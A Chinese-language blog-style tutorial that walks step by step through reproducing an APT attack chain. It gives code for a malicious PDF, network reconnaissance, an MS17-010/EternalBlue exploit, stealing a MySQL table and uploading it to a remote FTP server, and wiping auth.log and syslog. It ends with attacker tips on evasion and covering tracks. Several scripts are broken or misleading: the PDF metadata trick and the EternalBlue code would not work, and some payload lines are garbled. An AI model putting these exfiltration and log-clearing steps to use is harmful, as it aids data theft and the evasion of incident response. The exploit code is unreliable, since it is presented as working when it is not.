0x01 案例背景:一起悄无声息的渗透行动

2019年,一家能源公司发现其内部网络遭受了一次大规模的APT攻击。攻击者通过一个看似普通的PDF文档发起了初始感染。该文档利用了一个0day漏洞,在目标员工打开文件后实现了恶意代码执行,随后攻击者通过多种技术完成了横向移动、权限提升、数据窃取,并最终将机密资料上传到外部服务器。这次攻击展示了一个完整的APT攻击链,值得我们深入分析和复现。

这篇文章将从攻击原理到实战操作逐步引导你理解这类APT攻击是如何实施的,并通过完整的代码和步骤展示如何复现这一攻击链。这些内容仅供授权的安全测试人员学习,任何未经授权的攻击行为均为非法。

---

0x02 初始突破:利用0day漏洞投放恶意载荷

原理分析:漏洞是怎么回事?

在这次攻击中,攻击者利用了一个存在于某PDF解码库中的漏洞(CVE-2019-XXXX)。该漏洞允许攻击者构造一个特制的PDF文件,当目标用户用易受攻击的PDF阅读器打开时,攻击者可以在目标系统上执行自己的代码。

这个漏洞的成因是由于处理特定类型的恶意嵌入对象时发生了内存越界访问,最终让攻击者能够控制EIP进行RCE(远程代码执行)。一般来说,攻击者会将一个恶意的shellcode嵌入到PDF中,执行后加载C2(Command and Control)脚本进行后续操作。

黑客示意图

恶意PDF文件构造

我们可以利用工具 mPDF 或者直接用 Python 来构造这样的文件。以下是一个恶意PDF生成的代码片段:

<pre><code class="language-python">from PyPDF2 import PdfFileWriter, PdfFileReader

def create_exploit_pdf(exploit_code):

创建一个空白PDF

writer = PdfFileWriter()

黑客示意图

添加一个恶意嵌入对象

metadata = { &#039;/Title&#039;: &#039;Security Report&#039;, &#039;/Subject&#039;: &#039;APT Research&#039;, &#039;/Author&#039;: &#039;EnergyCorp&#039;, &#039;/Producer&#039;: exploit_code, # 恶意代码嵌入的地方 } writer.addMetadata(metadata)

保存PDF到文件

with open(&quot;exploit.pdf&quot;, &quot;wb&quot;) as output_pdf: writer.write(output_pdf) print(&quot;[*] Exploit PDF created: exploit.pdf&quot;)

运行代码生成PDF

shellcode = &quot;/Type /Action /S /JavaScript /JS (app.alert(&#039;Hello! This is an exploit!&#039;);)&quot; create_exploit_pdf(shellcode)</code></pre>

代码说明:

  • metadata 是PDF文件的元数据区域,我们利用它隐藏恶意JS代码;
  • shellcode 是实际的载荷,打开时会执行它。

注意: 由于现代安全软件的检测能力,直接使用这种方式可能会触发报警。在后续章节中,我们会介绍免杀和绕过技术。

---

0x03 横向移动:从一个点到整个内网

获取初始权限后的下一步

当目标用户打开PDF后,恶意代码开始执行,并尝试连接到攻击者的C2服务器。攻击者会利用一个远控工具(如Cobalt Strike)控制目标机器,并收集内网信息以准备横向移动。

攻击者的第一步是识别网络环境,以下是常见的信息收集策略:

  1. 获取本地网络设置(IP地址、网关、DNS服务器)。
  2. 扫描局域网中的其他机器。
  3. 搜集登录凭据(如Windows凭据、SSH密钥等)。

信息收集脚本演示

以下是一个用Python编写的网络环境信息收集脚本:

<pre><code class="language-python">import os import socket import subprocess

def get_local_network_info():

获取本机IP地址

ip = socket.gethostbyname(socket.gethostname()) print(f&quot;[*] Local IP Address: {ip}&quot;)

获取默认网关

try: gateway = subprocess.check_output(&quot;ip route | grep default | awk &#039;{print $3}&#039;&quot;, shell=True) print(f&quot;[*] Default Gateway: {gateway.decode().strip()}&quot;) except: print(&quot;[!] Failed to get gateway.&quot;)

DNS服务器

try: dns_servers = subprocess.check_output(&quot;cat /etc/resolv.conf | grep nameserver&quot;, shell=True) print(f&quot;[*] DNS Servers:\n{dns_servers.decode()}&quot;) except: print(&quot;[!] Failed to get DNS servers.&quot;)

get_local_network_info()</code></pre>

代码说明:

  • socket.gethostbyname 用于获取本机IP。
  • subprocess.check_output 执行shell命令获取网关和DNS信息。

攻击者可以扩展这段代码,加入ARP扫描、端口探测等功能,逐步绘制内网中的资产分布图。

---

0x04 权限提升:从普通用户到域管理员

利用内网漏洞进行提权

在内网环境中,权限提升往往依赖于几种常见的漏洞:

  1. MS17-010(EternalBlue):利用SMB服务中的漏洞执行代码。
  2. 令牌窃取:通过工具如Mimikatz窃取高权限令牌。
  3. 恶意服务安装:将恶意程序作为服务运行。

我们以MS17-010漏洞为例,展示如何利用它进行提权。

POC代码:EternalBlue攻击脚本

黑客示意图

以下是一个简化版的MS17-010漏洞利用代码:

<pre><code class="language-python">from impacket.smbconnection import SMBConnection

def exploit_eternalblue(target_ip, payload): print(&quot;[*] Connecting to target SMB server...&quot;) conn = SMBConnection(target_ip, target_ip)

try: conn.login(&#039;&#039;, &#039;&#039;) # 尝试匿名登录 print(&quot;[+] Connected successfully!&quot;)

构造恶意数据包

exploit_packet = b&quot;A&quot; * 4096 + payload

发送数据包触发溢出

conn.send_trans(exploit_packet) print(&quot;[*] Exploit packet sent!&quot;) except Exception as e: print(f&quot;[!] Exploit failed: {e}&quot;) finally: conn.close()

定义恶意载荷

payload = b&quot;\x90&quot; 100 + b&quot;\xcc&quot; 10 # NOP滑梯+中断指令 target_ip = &quot;192.168.1.10&quot; exploit_eternalblue(target_ip, payload)</code></pre>

代码说明:

  • SMBConnection 用于建立与目标的SMB连接。
  • send_trans 方法发送恶意数据包触发漏洞。

---

0x05 数据窃取:核心机密的偷取与外传

攻击者获取控制权后,目标通常是窃取核心数据,如数据库内容、员工邮箱、研发文档等。这里我们演示如何偷取数据库中的敏感信息并上传到远程服务器。

数据窃取脚本示例

以下代码展示如何读取MySQL数据库中的信息并通过FTP上传:

<pre><code class="language-python">import mysql.connector from ftplib import FTP

def steal_data_and_upload(db_host, db_user, db_pwd, ftp_host, ftp_user, ftp_pwd):

连接数据库

db_conn = mysql.connector.connect( host=db_host, user=db_user, password=db_pwd, database=&quot;sensitive_db&quot; ) cursor = db_conn.cursor() cursor.execute(&quot;SELECT FROM confidential_table&quot;) data = cursor.fetchall() print(&quot;[] Data stolen successfully!&quot;)

保存到文件

with open(&quot;stolen_data.txt&quot;, &quot;w&quot;) as f: for row in data: f.write(str(row) + &quot;\n&quot;)

上传到FTP

ftp = FTP(ftp_host) ftp.login(ftp_user, ftp_pwd) with open(&quot;stolen_data.txt&quot;, &quot;rb&quot;) as f: ftp.storbinary(&#039;STOR stolen_data.txt&#039;, f) print(&quot;[*] Data uploaded to FTP server!&quot;)

steal_data_and_upload(&quot;192.168.1.11&quot;, &quot;db_user&quot;, &quot;db_pwd&quot;, &quot;192.168.1.12&quot;, &quot;ftp_user&quot;, &quot;ftp_pwd&quot;)</code></pre>

代码说明:

  • mysql.connector 用于连接数据库并执行查询。
  • ftplib.FTP 上传窃取的数据到远程服务器。

---

0x06 痕迹清除:消灭所有证据

攻击者在行动完成后会清理痕迹,避免被受害者和安全团队发现。以下是常见的操作:

  1. 删除恶意文件。
  2. 清空系统日志。
  3. 关闭后门。

痕迹清理脚本

<pre><code class="language-bash">#!/bin/bash

echo &quot;[*] Clearing evidence...&quot;

删除恶意文件

rm -f /path/to/exploit.pdf rm -f /tmp/malware.sh

清空日志文件

&gt; /var/log/auth.log &gt; /var/log/syslog echo &quot;[+] Logs cleared!&quot;

关闭后门进程

pkill -f &quot;nc -l -p 4444&quot; echo &quot;[+] Backdoor closed!&quot;</code></pre>

---

0x07 攻击者的经验总结

  1. 多层免杀:PDF恶意载荷需要进行混淆和加密,以绕过检测。
  2. 谨慎操作:横向移动时要避免触发IDS/IPS。
  3. 快速清理:避免留下任何痕迹,尤其是系统日志。

通过本文的分析,你应该已经理解了一次完整的APT攻击链,从漏洞利用到数据窃取,再到痕迹消除。希望这些内容能帮助你在合法授权的渗透测试中提升自己的技术水平。